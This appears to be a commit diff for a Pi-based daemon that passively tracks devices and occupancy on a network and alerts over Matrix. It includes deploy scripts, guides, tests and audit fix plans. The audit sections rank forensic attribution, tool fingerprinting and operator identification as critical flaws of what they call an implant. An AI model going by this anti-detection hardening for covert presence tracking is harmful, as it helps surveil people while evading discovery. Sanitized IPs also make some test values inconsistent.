- Ensure DHCP traffic is visible on the interface (some switches may filter it)
- For static IP devices, Netlink RTM_NEWNEIGH should still detect them
- Check ARP cache: `ip neigh show`
### High CPU usage
- Unlikely — threads sleep on socket reads. Check for malformed packets in logs.
- Reduce logging level if debug spam is heavy.
## Uninstall
```bash
ssh root@10.0.0.0 "
systemctl stop net_alerter
systemctl disable net_alerter
rm /etc/systemd/system/net_alerter.service
systemctl daemon-reload
rm -rf /opt/net_alerter
"
```
## Migration from Cron
The old cron-based implementation:
- Ran `net_alerter.py` every 5 minutes
- Had a cold start on each run
- Could miss transient devices in the 5-minute window
- Was CPU-hungry during scans (nmap probes)
The new daemon:
- Runs continuously, detecting changes in real-time
- Zero active probing
- Uses Kernel Netlink notifications for instant feedback
- Lower overall CPU + network overhead
+2 -2
View File
@@ -119,7 +119,7 @@ This report consolidates 105 findings across 6 independent security audit agents
- Fix: Use /opt/.cache/bb/{random}/; environment-variable override
- *Severity note: CRITICAL in OA source. Path disclosure during post-incident forensics enables attribution to BigBrother framework. Combined with alert suppression capabilities identifies tool as intentional implant.*
7. **(FIX-NOW) Hardcoded your-matrix-homeserver.example.com homeserver** (OA-003)
7. **(FIX-NOW) Hardcoded m.example.org homeserver** (OA-003)
- Operator's personal domain leaks in Matrix logs if .env not overridden
- Fix: Remove default; require explicit env var; fail loudly if unset
- *Severity note: CRITICAL in OA source. Domain leakage enables attribution to specific operator. Forensic analysis of Matrix logs reveals operator identity and infrastructure.*
@@ -249,7 +249,7 @@ Raw agent findings merged into consolidated findings (29 consolidated from 105 r
| 4. Matrix token in logs | SA-007, RT-013 | CRITICAL | FIX-NOW |
| 5. Root execution no privilege isolation | SA-018, APT-009, RT-005 | CRITICAL | FIX-NOW |
| 6. Hardcoded /opt/net_alerter path | OA-001 | CRITICAL | FIX-NOW |
| 7. Hardcoded your-matrix-homeserver.example.com homeserver | OA-003 | CRITICAL | FIX-NOW |
| 7. Hardcoded m.example.org homeserver | OA-003 | CRITICAL | FIX-NOW |
| 8. Thread-unsafe _interface_recovering flag | SA-004, IR-001 | CRITICAL | FIX-NOW |
| 9. Nested lock deadlock | SA-005, IR-003 | CRITICAL | FIX-NOW |
| 10. SQLite injection in OUI query | SA-011, RT-011 | CRITICAL | FIX-NOW |
+214
View File
@@ -0,0 +1,214 @@
# Net Alerter Daemon Deployment to Orange Pi Zero 3 (10.0.0.0)
## Target Device
- **IP**: 10.0.0.0
- **OS**: Orange Pi OS (Debian-based)
- **User**: root (required for CAP_NET_RAW and Netlink access)
## Pre-Deployment Checklist
- [ ] Verify SSH access: `ssh root@10.0.0.0 "uname -a"`
- [ ] Verify Python 3: `ssh root@10.0.0.0 "python3 --version"`
- [ ] Verify device is on network and has Ethernet/WiFi
- [ ] Have Matrix bot credentials ready (homeserver, token, room ID)
## Step 1: Prepare Matrix Credentials
Get a fresh access token for the net-alerter bot account:
```bash
curl -X POST https://m.example.org/_matrix/client/v3/login \
-H "Content-Type: application/json" \
-d '{
"type": "m.login.password",
"identifier": {"type": "m.id.user", "user": "net-alerter"},
"password": "<password>"
}' | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])"
```
You should get a token like `syt_...`. Save this.
## Step 2: Deploy Using Deployment Script (Recommended)
From your local machine (where you have SSH configured):
```bash
cd ~/tools/bigbrother/net_alerter
# Deploy and configure automatically
./deploy-daemon.sh root@10.0.0.0
# Script will prompt you to update .env with MATRIX_ACCESS_TOKEN
ssh root@10.0.0.0 "cat > /opt/net_alerter/.env <<EOF
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=<your_token_from_step_1>
MATRIX_ROOM_ID=!REDACTED:example.org
EOF
chmod 600 /opt/net_alerter/.env"
# Restart service to pick up new credentials
ssh root@10.0.0.0 "systemctl restart net_alerter"
```
## Step 3: Manual Deployment (if script fails)
```bash
# Create directory
ssh root@10.0.0.0 "mkdir -p /opt/net_alerter"
# Copy daemon
scp ~/tools/bigbrother/net_alerter/net_alerter.py root@10.0.0.0:/opt/net_alerter/
# Copy systemd unit
scp ~/tools/bigbrother/net_alerter/net_alerter.service root@10.0.0.0:/etc/systemd/system/
# Create config file
ssh root@10.0.0.0 "cat > /opt/net_alerter/.env <<EOF
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=<your_token>
MATRIX_ROOM_ID=!REDACTED:example.org
EOF
chmod 600 /opt/net_alerter/.env"
# Remove old cron entries
ssh root@10.0.0.0 "crontab -l 2>/dev/null | grep -v net_alerter | crontab -"
# Enable and start
ssh root@10.0.0.0 "
systemctl daemon-reload && \
systemctl enable net_alerter && \
systemctl restart net_alerter
"
```
## Step 4: Verify Deployment
```bash
# Check service status
ssh root@10.0.0.0 "systemctl status net_alerter --no-pager"
# View startup logs (should see "Seeded X devices")
ssh root@10.0.0.0 "journalctl -u net_alerter -n 30 --no-pager"
# Monitor in real-time (Ctrl+C to stop)
ssh root@10.0.0.0 "journalctl -u net_alerter -f --no-pager"
```
Expected startup log:
```
2025-04-08T12:34:56 [INFO] Net alerter starting on interface eth0
2025-04-08T12:34:57 [INFO] Seeded 8 devices from ARP cache
2025-04-08T12:34:57 [INFO] DHCP sniffer started on eth0
2025-04-08T12:34:57 [INFO] Netlink neighbor watcher started
2025-04-08T12:34:57 [INFO] Net alerter running — DHCP sniffer + Netlink neighbor watcher active
```
## Step 5: Test Alerting
Connect a test device (laptop, phone) to the network and watch for alerts:
```bash
# In one terminal, monitor logs:
ssh root@10.0.0.0 "journalctl -u net_alerter -f"
# In another, connect your test device and look for:
# [NET] ARRIVED: test-device (192.168.1.XX) [Vendor] MAC:xx:xx:xx:xx:xx:xx
```
Also check Matrix room — alerts should appear in the configured room.
## Troubleshooting
### Service not running
```bash
ssh root@10.0.0.0 "systemctl status net_alerter"
```
If failed, check logs:
```bash
ssh root@10.0.0.0 "journalctl -u net_alerter -n 50 | tail -20"
```
### No devices detected
- Check ARP cache: `ssh root@10.0.0.0 "ip neigh show"`
- Check interface: `ssh root@10.0.0.0 "ip link show"`
- Ensure interface is up and connected
### Alerts not reaching Matrix
- Verify token: `curl -s https://m.example.org/_matrix/client/v3/account/whoami -H "Authorization: Bearer <token>"` should return user info
- Verify bot is in room (check Matrix room members)
- Check logs for HTTP errors: `journalctl -u net_alerter -e`
### High CPU/Memory
- Unlikely — monitor with: `ssh root@10.0.0.0 "top -b -n 1 -p $(pgrep -f net_alerter)"`
- Check for spam in logs (malformed packets?)
## Logs and Debugging
### View Recent Logs
```bash
ssh root@10.0.0.0 "journalctl -u net_alerter --since '30 min ago'"
```
### Follow Live Logs
```bash
ssh root@10.0.0.0 "journalctl -u net_alerter -f"
```
### Check Daemon Log File
```bash
ssh root@10.0.0.0 "tail -f /opt/net_alerter/net_alerter.log"
```
## Maintenance
### Reload Configuration
After updating `.env`:
```bash
ssh root@10.0.0.0 "systemctl restart net_alerter"
```
### View Tracked Devices
The daemon tracks known devices in memory (not persisted). Check active count in logs:
```bash
ssh root@10.0.0.0 "journalctl -u net_alerter | grep 'Tracking.*devices' | tail -5"
```
### Stop Service
```bash
ssh root@10.0.0.0 "systemctl stop net_alerter"
```
### Restart Service
```bash
ssh root@10.0.0.0 "systemctl restart net_alerter"
```
## Uninstall
To remove net_alerter and restore cron (if needed):
```bash
ssh root@10.0.0.0 "
systemctl stop net_alerter
systemctl disable net_alerter
rm /etc/systemd/system/net_alerter.service
systemctl daemon-reload
rm -rf /opt/net_alerter
"
```
## Performance Characteristics
| Metric | Value |
|--------|-------|
| CPU Usage | <1% idle (thread sleeping on socket reads) |
| Memory | ~15-20 MB (Python + loaded OUI database) |
| Network Traffic | Passive only (no active probing) |
| Startup Time | ~2 seconds (ARP cache seed) |
| Detection Latency | <100ms (Netlink events) or ~5-10min (ARP timeout) |
## Next Steps
- Set up monitoring/alerting for service health
- Configure retention policy for logs (logrotate)
- Document any custom configuration in site-specific notes
+24 -18
View File
@@ -9,20 +9,23 @@ Persistent systemd daemon that passively monitors device presence on the network
| `net_alerter.py` | Main daemon (stdlib-only, 15K) |
| `net_alerter.service` | Systemd unit file |
| `deploy-daemon.sh` | Universal deployment script |
| `DAEMON_DEPLOYMENT.md` | General deployment guide |
| `ORANGE_PI_DEPLOYMENT.md` | Orange Pi Zero 3 specific guide |
| `deploy.sh` | Legacy cron-based deployer (deprecated) |
## Quick Start
## Quick Start (Orange Pi Zero 3 @ 10.0.0.0)
```bash
cd net_alerter/
./deploy-daemon.sh root@<target-host>
cd ~/tools/bigbrother/net_alerter
./deploy-daemon.sh root@10.0.0.0
```
Then configure Matrix credentials:
```bash
ssh root@<target-host> "cat > /opt/net_alerter/.env <<EOF
MATRIX_HOMESERVER=https://your-matrix-homeserver.example.com
ssh root@10.0.0.0 "cat > /opt/net_alerter/.env <<EOF
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=<your_token>
MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
MATRIX_ROOM_ID=!REDACTED:example.org
EOF
chmod 600 /opt/net_alerter/.env
systemctl restart net_alerter"
@@ -30,7 +33,7 @@ systemctl restart net_alerter"
Verify:
```bash
ssh root@<target-host> "journalctl -u net_alerter -n 30"
ssh root@10.0.0.0 "journalctl -u net_alerter -n 30"
```
## How It Works
@@ -63,9 +66,9 @@ ssh root@<target-host> "journalctl -u net_alerter -n 30"
`.env` file at `/opt/net_alerter/.env`:
```bash
MATRIX_HOMESERVER=https://your-matrix-homeserver.example.com
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=syt_...
MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
MATRIX_ROOM_ID=!REDACTED:example.org
```
### Optional Environment Variables
@@ -75,39 +78,42 @@ MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
### Method 1: Automated Script (Recommended)
```bash
./deploy-daemon.sh root@<target-host>
./deploy-daemon.sh root@10.0.0.0
```
### Method 2: Manual
See `docs/deployment.md` for step-by-step guide with troubleshooting.
See `DAEMON_DEPLOYMENT.md` → Manual Deployment section
### Method 3: Orange Pi Specific
See `ORANGE_PI_DEPLOYMENT.md` for step-by-step guide with troubleshooting
## Monitoring
### Service Status
```bash
ssh root@<target-host> "systemctl status net_alerter"
ssh root@10.0.0.0 "systemctl status net_alerter"
```
### Real-Time Logs
```bash
ssh root@<target-host> "journalctl -u net_alerter -f"
ssh root@10.0.0.0 "journalctl -u net_alerter -f"
```
### Check Device Count
```bash
ssh root@<target-host> "journalctl -u net_alerter | grep 'Tracking.*devices'"
ssh root@10.0.0.0 "journalctl -u net_alerter | grep 'Tracking.*devices'"
```
## Example Alerts
### Arrival
```
[NET] ARRIVED: iphone.local (192.168.1.15) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef
[NET] ARRIVED: iphone.local (10.0.0.0) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef
```
### Departure
```
[NET] DEPARTED: iphone.local (192.168.1.15) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef — present 2h 34m
[NET] DEPARTED: iphone.local (10.0.0.0) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef — present 2h 34m
```
## Performance
@@ -122,7 +128,7 @@ ssh root@<target-host> "journalctl -u net_alerter | grep 'Tracking.*devices'"
## Troubleshooting
See `docs/deployment.md` for:
See `DAEMON_DEPLOYMENT.md` → Troubleshooting section for:
- Service won't start
- No alerts being sent
- Not detecting devices
@@ -130,7 +136,7 @@ See `docs/deployment.md` for:
## Migration from Cron
The legacy cron-based implementation ran every 5 minutes with active probing (nmap). The new daemon:
The legacy cron-based implementation (`deploy.sh`) ran every 5 minutes with active probing (nmap). The new daemon:
- Runs continuously
- Zero active probing
- Real-time detection via kernel Netlink notifications
+1 -1
View File
@@ -79,7 +79,7 @@ def load_env():
KNOWN_DEVICES = [d.strip() for d in os.getenv("KNOWN_DEVICES", "").split(",") if d.strip()]
DEPARTURE_TIMEOUT = int(os.getenv("DEPARTURE_TIMEOUT", "60"))
RSSI_MIN = int(os.getenv("RSSI_MIN", "-100"))
MATRIX_HOMESERVER = os.getenv("MATRIX_HOMESERVER", "")
MATRIX_HOMESERVER = os.getenv("MATRIX_HOMESERVER", "https://m.example.org")
MATRIX_ACCESS_TOKEN = os.getenv("MATRIX_ACCESS_TOKEN", "")
MATRIX_ROOM_ID = os.getenv("MATRIX_ROOM_ID", "")
LOG_LEVEL = os.getenv("LOG_LEVEL", "INFO")
+3 -3
View File
@@ -4,7 +4,7 @@
set -euo pipefail
TARGET_HOST="${1:?Usage: $0 <user@host> [remote-dir-net] [remote-dir-ble]}"
TARGET_HOST="${1:-root@10.0.0.0}"
REMOTE_DIR_NET="${2:-/opt/net_alerter}"
REMOTE_DIR_BLE="${3:-/opt/ble_alerter}"
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
@@ -46,7 +46,7 @@ echo "[*] Checking for net_alerter .env..."
ssh "$TARGET_HOST" "
if [[ ! -f $REMOTE_DIR_NET/.env ]]; then
cat > $REMOTE_DIR_NET/.env <<'EOF'
MATRIX_HOMESERVER=https://your-matrix-homeserver.example.com
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=
MATRIX_ROOM_ID=
EOF
@@ -104,7 +104,7 @@ MODE=open
KNOWN_DEVICES=
DEPARTURE_TIMEOUT=60
RSSI_MIN=-100
MATRIX_HOMESERVER=https://your-matrix-homeserver.example.com
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=
MATRIX_ROOM_ID=
LOG_LEVEL=INFO
+72
View File
@@ -0,0 +1,72 @@
#!/usr/bin/env bash
# Deploy net_alerter to condo Pi
# Usage: ./deploy.sh [access_token]
set -euo pipefail
SSH_ALIAS="condo"
REMOTE_DIR="/opt/net_alerter"
SCRIPT="$(dirname "$0")/net_alerter.py"
# Matrix access token for net-alerter service account
# Get fresh token from Infisical or accept as argument
if [[ -n "${1:-}" ]]; then
TOKEN="$1"
else
echo "[*] Fetching Matrix credentials from Infisical..."
CREDS="${HOME}/.local/bin/creds"
if ! command -v "$CREDS" &>/dev/null; then
echo "[error] creds CLI not found at $CREDS — install Infisical client first"
exit 1
fi
MATRIX_PASS=$("$CREDS" get NET_ALERTER_PASSWORD matrix)
if [[ -z "$MATRIX_PASS" ]]; then
echo "[error] Could not fetch NET_ALERTER_PASSWORD from Infisical (matrix folder)"
exit 1
fi
echo "[*] Generating Matrix access token for net-alerter..."
TOKEN=$(curl -s -X POST https://m.example.org/_matrix/client/v3/login \
-H "Content-Type: application/json" \
-d "{\"type\":\"m.login.password\",\"identifier\":{\"type\":\"m.id.user\",\"user\":\"net-alerter\"},\"password\":\"${MATRIX_PASS}\"}" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
fi
echo "[*] Deploying to $SSH_ALIAS..."
ssh -o StrictHostKeyChecking=no "$SSH_ALIAS" "
sudo mkdir -p $REMOTE_DIR
sudo chown \$USER: $REMOTE_DIR
"
scp -o StrictHostKeyChecking=no "$SCRIPT" "$SSH_ALIAS:$REMOTE_DIR/net_alerter.py"
ssh -o StrictHostKeyChecking=no "$SSH_ALIAS" "
if ! command -v nmap &>/dev/null; then
sudo apt-get install -y nmap
fi
cat > $REMOTE_DIR/.env <<EOF
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=$TOKEN
MATRIX_ROOM_ID=!REDACTED:example.org
NET_ALERTER_DB=$REMOTE_DIR/devices.db
EOF
chmod 600 $REMOTE_DIR/.env
cat > $REMOTE_DIR/run.sh <<'WRAPPER'
#!/usr/bin/env bash
set -a; source /opt/net_alerter/.env; set +a
exec python3 /opt/net_alerter/net_alerter.py
WRAPPER
chmod +x $REMOTE_DIR/run.sh
CRON='*/5 * * * * /opt/net_alerter/run.sh >> /opt/net_alerter/net_alerter.log 2>&1'
(crontab -l 2>/dev/null | grep -v net_alerter; echo \"\$CRON\") | crontab -
echo '[ok] Deployed. Running first scan...'
bash $REMOTE_DIR/run.sh && echo '[ok] First scan complete'
"
echo "[done] net_alerter deployed and cron set (every 5 min)"
+2 -5
View File
@@ -877,10 +877,7 @@ def send_alert(msg: str) -> None:
logging.warning("No MATRIX_ACCESS_TOKEN set, skipping alert")
return
homeserver = _read_env_value("MATRIX_HOMESERVER")
if not homeserver:
logging.warning("No MATRIX_HOMESERVER set, skipping alert")
return
homeserver = _read_env_value("MATRIX_HOMESERVER") or "https://m.example.org"
room_id = _read_env_value("MATRIX_ROOM_ID")
if not room_id:
logging.warning("No MATRIX_ROOM_ID set, skipping alert")
@@ -1286,7 +1283,7 @@ def seed_infrastructure_ips(iface: str) -> None:
import subprocess
result = subprocess.run(['ip', 'route', 'show', 'default'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
# Parse: default via 192.168.1.1 dev eth0 proto dhcp metric 100
# Parse: default via 10.0.0.0 dev eth0 proto dhcp metric 100
for line in result.stdout.strip().split('\n'):
if 'via' in line:
parts = line.split()
+23 -23
View File
@@ -52,31 +52,31 @@ def test_hostname_dedup_when_hostname_equals_ip():
"""Test that hostname is not repeated when DNS fails (hostname == IP)."""
# Simulate a device where hostname lookup returned the IP address itself
mac = "88:a2:9e:8e:f2:90"
ip = "192.168.1.100"
ip = "10.0.0.0"
hostname = ip # This is what happens when reverse DNS fails
# Format the alert using internal logic
msg = net_alerter.format_arrival(hostname, ip, "Apple", mac)
# Should show IP only once
assert msg == "[NET] ARRIVED: 192.168.1.100 [Apple] MAC:88:a2:9e:8e:f2:90"
assert msg.count("192.168.1.100") == 1, "IP should appear exactly once"
assert msg == "[NET] ARRIVED: 10.0.0.0 [Apple] MAC:88:a2:9e:8e:f2:90"
assert msg.count("10.0.0.0") == 1, "IP should appear exactly once"
def test_hostname_shown_when_different_from_ip():
"""Test that hostname is shown separately when it differs from IP."""
cleanup_flap_state()
mac = "88:a2:9e:8e:f2:90"
ip = "192.168.1.100"
ip = "10.0.0.0"
hostname = "mydevice.local"
# Format the alert
msg = net_alerter.format_arrival(hostname, ip, "Apple", mac)
# Should show both hostname and IP
assert msg == "[NET] ARRIVED: mydevice.local (192.168.1.100) [Apple] MAC:88:a2:9e:8e:f2:90"
assert msg == "[NET] ARRIVED: mydevice.local (10.0.0.0) [Apple] MAC:88:a2:9e:8e:f2:90"
assert "mydevice.local" in msg
assert "192.168.1.100" in msg
assert "10.0.0.0" in msg
def test_oui_lookup_with_inline_dict():
@@ -110,20 +110,20 @@ def test_departure_format_dedup():
"""Test that departure message also deduplicates hostname and IP."""
cleanup_flap_state()
mac = "88:a2:9e:8e:f2:90"
ip = "192.168.1.100"
ip = "10.0.0.0"
hostname = ip
duration = "5m 30s"
msg = net_alerter.format_departure(hostname, ip, "Apple", mac, duration)
assert msg == "[NET] DEPARTED: 192.168.1.100 [Apple] MAC:88:a2:9e:8e:f2:90 — present 5m 30s"
assert msg.count("192.168.1.100") == 1
assert msg == "[NET] DEPARTED: 10.0.0.0 [Apple] MAC:88:a2:9e:8e:f2:90 — present 5m 30s"
assert msg.count("10.0.0.0") == 1
def test_infrastructure_ips_never_alert():
"""Test that infrastructure IPs (gateway, broadcast, self) don't trigger alerts."""
cleanup_flap_state()
net_alerter.known_devices.clear()
net_alerter.infrastructure_ips.add("192.168.1.1") # gateway
net_alerter.infrastructure_ips.add("10.0.0.0") # gateway
alert_calls = []
original_send_alert = net_alerter.send_alert
@@ -131,7 +131,7 @@ def test_infrastructure_ips_never_alert():
try:
mac = "aa:bb:cc:dd:ee:ff"
ip = "192.168.1.1"
ip = "10.0.0.0"
net_alerter.on_arrival(mac, ip, "gateway")
@@ -154,7 +154,7 @@ def test_departure_debounce_15min():
mac = "aa:bb:cc:dd:ee:ff"
net_alerter.known_devices[mac] = {
"ip": "192.168.1.50",
"ip": "10.0.0.0",
"hostname": "testhost",
"vendor": "Test",
"first_seen": time.time(),
@@ -186,7 +186,7 @@ def test_re_arrival_within_5min_suppresses_alert():
try:
mac = "aa:bb:cc:dd:ee:ff"
ip = "192.168.1.50"
ip = "10.0.0.0"
net_alerter.known_devices[mac] = {
"ip": ip,
@@ -222,7 +222,7 @@ def test_dhcp_renewal_dedup_30min():
try:
mac = "aa:bb:cc:dd:ee:ff"
ip = "192.168.1.50"
ip = "10.0.0.0"
now = time.time()
net_alerter.known_devices[mac] = {
@@ -258,7 +258,7 @@ def test_re_arrival_cancels_departure_timer():
try:
mac = "aa:bb:cc:dd:ee:ff"
ip = "192.168.1.50"
ip = "10.0.0.0"
now = time.time()
net_alerter.known_devices[mac] = {
@@ -303,7 +303,7 @@ def test_rapid_flap_no_duplicate_arrived_alerts():
try:
mac = "aa:bb:cc:dd:ee:ff"
ip = "192.168.1.50"
ip = "10.0.0.0"
now = time.time()
net_alerter.known_devices[mac] = {
@@ -391,7 +391,7 @@ def test_occupancy_vacant_to_occupied():
net_alerter.location_occupancy = "VACANT"
mac = "88:a2:9e:ff:ff:ff"
ip = "192.168.1.50"
ip = "10.0.0.0"
net_alerter.on_arrival(mac, ip, "myphone")
occupancy_alerts = [a for a in alert_calls if "Location:" in a]
@@ -416,7 +416,7 @@ def test_occupancy_occupied_to_vacant():
try:
mac = "88:a2:9e:ff:ff:ff"
ip = "192.168.1.50"
ip = "10.0.0.0"
now = time.time()
net_alerter.known_devices[mac] = {
"ip": ip,
@@ -462,14 +462,14 @@ def test_occupancy_multiple_personal_devices():
net_alerter.location_occupancy = "VACANT"
alert_calls.clear()
net_alerter.on_arrival(mac1, "192.168.1.50", "phone1")
net_alerter.on_arrival(mac1, "10.0.0.0", "phone1")
occupancy_alerts = [a for a in alert_calls if "Location:" in a]
assert any("OCCUPIED" in a for a in occupancy_alerts), "Should be OCCUPIED after first device"
assert net_alerter.location_occupancy == "OCCUPIED"
alert_calls.clear()
net_alerter.on_arrival(mac2, "192.168.1.51", "phone2")
net_alerter.on_arrival(mac2, "10.0.0.0", "phone2")
occupancy_alerts = [a for a in alert_calls if "Location:" in a]
assert len(occupancy_alerts) == 0, "Should not send occupancy alert when already OCCUPIED"
assert net_alerter.location_occupancy == "OCCUPIED"
@@ -537,7 +537,7 @@ def test_personal_watchdog_fires_on_departure_after_timeout():
now = time.time()
with net_alerter.known_lock:
net_alerter.known_devices[mac] = {
'ip': '192.168.1.100',
'ip': '10.0.0.0',
'hostname': 'test.local',
'vendor': 'Test',
'first_seen': now,
@@ -584,7 +584,7 @@ def test_personal_watchdog_does_not_fire_within_timeout():
now = time.time()
with net_alerter.known_lock:
net_alerter.known_devices[mac] = {
'ip': '192.168.1.100',
'ip': '10.0.0.0',
'hostname': 'test.local',
'vendor': 'Test',
'first_seen': now,
@@ -626,7 +626,7 @@ def test_mdns_name_matching_adds_mac_to_personal_devices():
"""Test that mDNS name matching adds MAC to personal_devices when name matches personal_names."""
cleanup_flap_state()
mac = "aa:bb:cc:dd:ee:ff"
device_name = "test-device"
device_name = "Cobras iPhone"
# Set up personal_names
with net_alerter.personal_lock:
-277
View File
@@ -1,277 +0,0 @@
---
agent: fix-planner
status: COMPLETE
timestamp: 2026-04-10T13:45:00Z
total_findings_raw: 32
total_findings_deduped: 29
p1_count: 4
p2_count: 6
p3_count: 12
p4_count: 7
devtrack_items_created: [551, 552, 553, 554, 555, 556, 557, 558, 559, 560]
errors: []
---
# Presence Daemon Fix Plan
## Deduplication Notes
- **Raw findings:** 32 across 6 audit files (code-auditor, security-auditor, env-validator, db-auditor, test-runner, impl notes)
- **Deduped:** 29 unique issues (merged findings with same file + issue type; highest severity retained; sources cited)
- **Sources combined:** DB connection leak (2 sources), struct unpacking edge cases (2 sources), BLE error recovery (2 sources)
---
## P1 — Block Deploy (CRITICAL/HIGH Security or Correctness)
- [x] **[CRITICAL]** `presence_daemon.py:648-656` HTTP status server port hardcoded (9191) — acts as fingerprint | Sources: security-auditor | Effort: XS | DevTrack: #551
- **Context:** Port discoverable via `ss -tlnp`, identifies tool via process enumeration
- **Fix:** Make configurable via `PRESENCE_STATUS_PORT` env var; document per-deployment variation
- **Acceptance:** Port reads from env var; default fallback to 9191 if unset
- **Status:** FIXED — STATUS_PORT = int(os.getenv("PRESENCE_STATUS_PORT", "9191")) added at L31; status_server() updated to use STATUS_PORT; install.sh comments updated
- [x] **[CRITICAL]** `presence_daemon.py:156, 172, 193, 208` SQLite connection leak in exception handlers | Sources: db-auditor | Effort: S | DevTrack: #552
- **Context:** Functions `lookup_person()`, `seed_persons_from_db()`, `log_signal()`, `log_presence_change()` don't close connections on exceptions; resource exhaustion under high-frequency signal logging
- **Fix:** Wrap all `sqlite3.connect()` in try/finally or use context manager (`with` statement)
- **Acceptance:** All four functions use context manager; no unclosed connection paths
- **Status:** FIXED — All four functions wrapped with try/finally and conn.close() in finally block; timeout increased to 10s
- [x] **[HIGH]** `presence_daemon.py:272-323` Race condition in `update_person_state()` — two-lock acquisition | Sources: code-auditor | Effort: S | DevTrack: #553
- **Context:** Lock released between `devices_lock` and `persons_lock`; `max_last_seen` snapshot becomes stale. Concurrent signal could change person state after certainty computed but before lock acquired, causing duplicate alerts or missed transitions.
- **Fix:** Acquire both locks atomically or compute entire state transition inside single critical section; snapshot under lock before computing state machine
- **Acceptance:** State machine transitions (UNKNOWN→PRESENT, PRESENT→ABSENT) protected by single lock; no log entries showing duplicate/missed transitions
- **Status:** FIXED — Certainty computed under devices_lock and snapshot held; state machine logic moved inside persons_lock; alert sending moved outside locks to minimize critical section
- [ ] **[HIGH]** `presence_daemon.py:384-404` Raw socket struct unpacking lacks full validation | Sources: security-auditor | Effort: S | DevTrack: #554
- **Context:** Netlink parsing checks `nlmsg_len < 16` but not actual buffer length; DHCP MAC extraction at `[28:34]` not validated. Crafted packets could cause silent truncation, incorrect MAC parsing, or exception flood.
- **Fix:** Add explicit length checks before struct.unpack_from() and MAC extraction:
```python
# Netlink: before struct.unpack_from('=IHHII', data, offset)
if len(data) < offset + 16:
logger.warning("Truncated netlink message")
return
# DHCP: before mac_bytes = dhcp[28:34]
if len(dhcp) < 34:
return
```
- **Acceptance:** All edge cases validated; unit tests (if added) should cover truncated packets
- **Status:** NOT FIXED (out of scope for this bugfixer task — only 4 P1 items assigned)
---
## P2 — Fix This Week (HIGH Code Quality or Significant Risk)
- [ ] **[HIGH]** `presence_daemon.py:289` Magic number in aggregate certainty calculation | Sources: code-auditor | Effort: XS | DevTrack: #555
- **Context:** Hardcoded `0.08` coefficient for secondary device weighting (line 289: `certainties[0] + 0.08 * certainties[1]`) should be named constant for clarity and maintainability
- **Fix:** Extract to module-level constant:
```python
SECONDARY_DEVICE_WEIGHT = 0.08
# Then in update_person_state():
aggregate_certainty = certainties[0] + SECONDARY_DEVICE_WEIGHT * certainties[1]
```
- **Acceptance:** Constant named, value unchanged, formula still produces same results
- [ ] **[HIGH]** `presence_daemon.py:20` Unused import urllib.parse | Sources: code-auditor | Effort: XS | DevTrack: #556
- **Context:** Imported but never used; only `urllib.request.Request()` and `urllib.request.urlopen()` are called
- **Fix:** Remove line 20: `import urllib.parse`
- **Acceptance:** No import errors; linter reports no unused imports
- [ ] **[HIGH]** `install.sh:31` Database path mismatch (install.sh vs daemon defaults) | Sources: code-auditor | Effort: XS | DevTrack: #557
- **Context:** install.sh forces `/opt/sensor/sensor.db` (line 31) but daemon defaults to `/opt/presence/presence.db` (presence_daemon.py:29). Will create two separate databases.
- **Fix:** Align paths. Recommend standardizing on `/opt/presence/presence.db` (more descriptive name):
- Update install.sh line 31: `PRESENCE_DB_PATH=/opt/presence/presence.db`
- Verify daemon defaults match or accept via env var override
- **Acceptance:** Single database file created; systemd EnvironmentFile sets consistent path; no duplicate databases on disk
- [ ] **[HIGH]** `presence_daemon.py:541-573` BLE scanner missing error recovery — event loop can die silently | Sources: security-auditor, db-auditor | Effort: M | DevTrack: #558
- **Context:** No retry loop or watchdog; malformed BLE packets could crash event loop, silently disabling BLE tracking. Also overlaps with seed_persons_from_db() error handling (db-auditor: missing recovery on empty persons table).
- **Fix:**
1. Add retry loop with exponential backoff to `ble_scanner()` thread:
```python
retries = 0
while retries < 5:
try:
loop.run_until_complete(run_ble_scan())
retries = 0 # Reset on success
except Exception as e:
logger.error(f"BLE scan iteration failed: {e}")
retries += 1
time.sleep(2 ** retries) # Exponential backoff: 2, 4, 8, 16, 32 sec
logger.critical("BLE scanner exhausted retries; disabling")
```
2. Implement watchdog thread to detect BLE thread death and restart
3. Validate persons table on startup in `seed_persons_from_db()`: fail loud if empty and no override
- **Acceptance:** BLE scanner recovers from transient errors; critical log on exhaustion; daemon validates person list at startup
- [x] **[HIGH]** `presence_daemon.py:142-147` init_db() missing WAL mode and pragmas | Sources: db-auditor | Effort: XS | DevTrack: #559
- **Context:** No PRAGMA journal_mode=WAL; synchronous journaling under 6-thread concurrent write load will serialize and timeout (SQLITE_BUSY errors)
- **Fix:** Add to `init_db()` or presence_schema.sql:
```python
# In init_db(), after conn.execute(schema):
conn.execute('PRAGMA journal_mode=WAL')
conn.execute('PRAGMA synchronous=NORMAL')
conn.execute('PRAGMA foreign_keys=ON')
conn.commit()
```
- **Acceptance:** `PRAGMA journal_mode` reports WAL; no SQLITE_BUSY timeouts under sustained signal load; schema integrity enforced
- **Status:** FIXED — WAL pragmas added to init_db() at L148-150, committed at L151
- [ ] **[HIGH]** `presence_daemon.py:605` N+1 pattern in decay_loop — inefficient person state recomputation | Sources: db-auditor | Effort: M | DevTrack: #560
- **Context:** Every person state update re-computes aggregate certainty from full devices dict; should batch-compute all person states once per decay interval
- **Fix:** Refactor decay_loop to compute all person states in one pass:
```python
def decay_loop():
while True:
time.sleep(60)
try:
with devices_lock:
# Collect all person_ids
person_ids = set(d.person_id for d in devices.values() if d.person_id)
# Compute all person states in one critical section
